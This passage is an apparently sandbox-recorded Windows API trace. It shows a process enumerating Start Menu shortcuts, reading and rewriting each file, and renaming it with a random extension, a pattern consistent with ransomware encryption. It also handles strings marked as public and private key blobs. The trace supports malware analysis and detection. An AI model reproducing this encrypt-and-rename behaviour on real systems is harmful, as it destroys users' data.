lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0129.604] GetCurrentThreadId () returned 0xa30 [0129.604] GetCurrentThreadId () returned 0xa30 [0129.604] GetCurrentThreadId () returned 0xa30 [0129.604] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\media center.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0129.605] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0129.605] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0129.605] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x541 [0129.605] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0129.605] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x541, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f6a0*=0x541, lpOverlapped=0x0) returned 1 [0129.609] CloseHandle (hObject=0x1ec) returned 1 [0129.609] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\media center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0129.611] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x541, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f6ac*=0x541, lpOverlapped=0x0) returned 1 [0129.613] CloseHandle (hObject=0x1ec) returned 1 [0129.614] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\media center.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Media Center.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\media center.lnk.zv7un")) returned 1 [0129.615] GetCurrentThreadId () returned 0xa30 [0129.615] GetCurrentThreadId () returned 0xa30 [0129.615] GetCurrentThreadId () returned 0xa30 [0129.615] GetCurrentThreadId () returned 0xa30 [0129.615] GetCurrentThreadId () returned 0xa30 [0129.615] GetCurrentThreadId () returned 0xa30 [0129.615] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0129.615] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bd780, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb09e38e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb09e38e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0129.615] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0129.615] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0129.615] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bd780, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb09e38e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb09e38e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x491)) returned 1 [0129.616] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk")) returned 0x20 [0129.616] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk", dwFileAttributes=0x80) returned 1 [0129.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0129.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0129.619] GetCurrentThreadId () returned 0xa30 [0129.620] GetCurrentThreadId () returned 0xa30 [0129.620] GetCurrentThreadId () returned 0xa30 [0129.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0129.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0129.621] GetCurrentThreadId () returned 0xa30 [0129.621] GetCurrentThreadId () returned 0xa30 [0129.621] GetCurrentThreadId () returned 0xa30 [0129.621] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0129.621] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0129.621] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0129.621] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x491 [0129.621] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0129.622] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x491, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f6a0*=0x491, lpOverlapped=0x0) returned 1 [0130.077] CloseHandle (hObject=0x1ec) returned 1 [0130.155] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start 